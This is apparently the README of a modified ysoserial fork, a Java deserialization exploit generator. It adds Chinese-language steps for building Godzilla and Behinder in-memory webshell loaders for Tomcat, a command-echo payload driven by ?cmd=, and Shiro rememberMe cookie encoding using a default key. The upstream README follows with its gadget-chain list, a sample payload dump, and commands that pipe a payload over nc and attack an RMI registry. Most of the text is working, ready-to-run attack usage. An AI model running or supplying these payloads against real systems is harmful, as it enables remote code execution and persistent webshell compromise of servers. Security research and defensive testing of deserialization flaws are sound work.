A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
打包命令
mvn clean package -DskipTests
生成哥斯拉反序列化Loader数据，配合poc中 GodzillaPostData.txt 中的 post 内容即可完成哥斯拉内存马注入 （适用于中间件为Tomcat 的）
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1_183 classfile:./poc/shell/GodzillaLoader.class > godzilla.ser
使用对应链进行生成反序列化文件 (这个BehinderLoader 只是一个 loader，需要配合特定的 Post 数据才能完成注入，Post 注入的数据暂时不打算公开）
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1_183 classfile:./poc/shell/BehinderLoader.class > behinder.ser
使用 TomcatEcho 可以进行输出回显，在url中添加 ?cmd=命令 即可获得回显
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1_183 classfile:./poc/shiro/TomcatEcho.class > echo.ser
指定加密模式和反序列化文件生成对应的 rememberMe
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar ShiroRememberMeEncode cbc:kPH+bIxk5D2deZiIxcaaaA==:./demo.ser
2021.0617 从 Shiro attack 中分离出了 GodzillaLoader 以及 Post 内容，并稍做了些修改
2021.0527 利用 classloader 实现了依赖隔离，支持 cb 1.9.2 和 cb 1.8.3 (基于 c0ny1 师傅的思路)
2021.0525 可以引入构造好的 class 直接进行 shiro Tomcat 内存马注入，同时可直接调用加密函数进行加密
Originally released as part of AppSecCali 2015 Talk "Marshalling Pickles: how deserializing objects will ruin your day" with gadget chains for Apache Commons Collections (3.x and 4.x), Spring Beans/Core (4.x), and Groovy (2.3.x). Later updated to include additional gadget chains for JRE <= 1.7u21 and several other libraries.
ysoserial is a collection of utilities and property-oriented programming "gadget chains" discovered in common java libraries that can, under the right conditions, exploit Java applications performing unsafe deserialization of objects. The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then serializes these objects to stdout. When an application with the required gadgets on the classpath unsafely deserializes this data, the chain will automatically be invoked and cause the command to be executed on the application host.
It should be noted that the vulnerability lies in the application performing unsafe deserialization and NOT in having gadgets on the classpath.
This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Project maintainers are not responsible or liable for misuse of the software. Use responsibly.
$ java -jar ysoserial.jar
Y SO SERIAL?
Usage: java -jar ysoserial.jar [payload] '[command]'
Available payload types:
Payload Authors Dependencies
------- ------- ------------
AspectJWeaver @Jang aspectjweaver:1.9.2, commons-collections:3.2.2
BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5
C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11
Click1 @artsploit click-nodeps:2.3.0, javax.servlet-api:3.1.0
Clojure @JackOfMostTrades clojure:1.8.0
CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
CommonsCollections1 @frohoff commons-collections:3.1
CommonsCollections2 @frohoff commons-collections4:4.0
CommonsCollections3 @frohoff commons-collections:3.1
CommonsCollections4 @frohoff commons-collections4:4.0
CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
CommonsCollections6 @matthias_kaiser commons-collections:3.1
CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4
Groovy1 @frohoff groovy:2.3.9
Hibernate1 @mbechler
Hibernate2 @mbechler
JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
JRMPClient @mbechler
JRMPListener @mbechler
JSON1 @mbechler json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jdk7u21 @frohoff
Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2
MozillaRhino1 @matthias_kaiser js:1.7R2
MozillaRhino2 @_tint0 js:1.7R2
Myfaces1 @mbechler
Myfaces2 @mbechler
ROME @mbechler rome:1.0
Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
URLDNS @gebl
Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14
Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4$ java -jar ysoserial.jar CommonsCollections1 calc.exe | xxd
0000000: aced 0005 7372 0032 7375 6e2e 7265 666c ....sr.2sun.refl
0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41 ect.annotation.A
0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 nnotationInvocat
...
0000550: 7672 0012 6a61 7661 2e6c 616e 672e 4f76 vr..java.lang.Ov
0000560: 6572 7269 6465 0000 0000 0000 0000 0000 erride..........
0000570: 0078 7071 007e 003a .xpq.~.:
$ java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
$ nc 10.10.10.10 1099 < groovypayload.bin
$ java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe- Download the latest jar from
JitPack
Note that GitHub-hosted releases were removed in compliance with the GitHub Community Guidelines
Requires Java 1.7+ and Maven 3.x+
mvn clean package -DskipTests
- Fork it
- Create your feature branch (
git checkout -b my-new-feature) - Commit your changes (
git commit -am 'Add some feature') - Push to the branch (
git push origin my-new-feature) - Create new Pull Request
- Java-Deserialization-Cheat-Sheet: info on vulnerabilities, tools, blogs/write-ups, etc.
- marshalsec: similar project for various Java deserialization formats/libraries
- ysoserial.net: similar project for .NET deserialization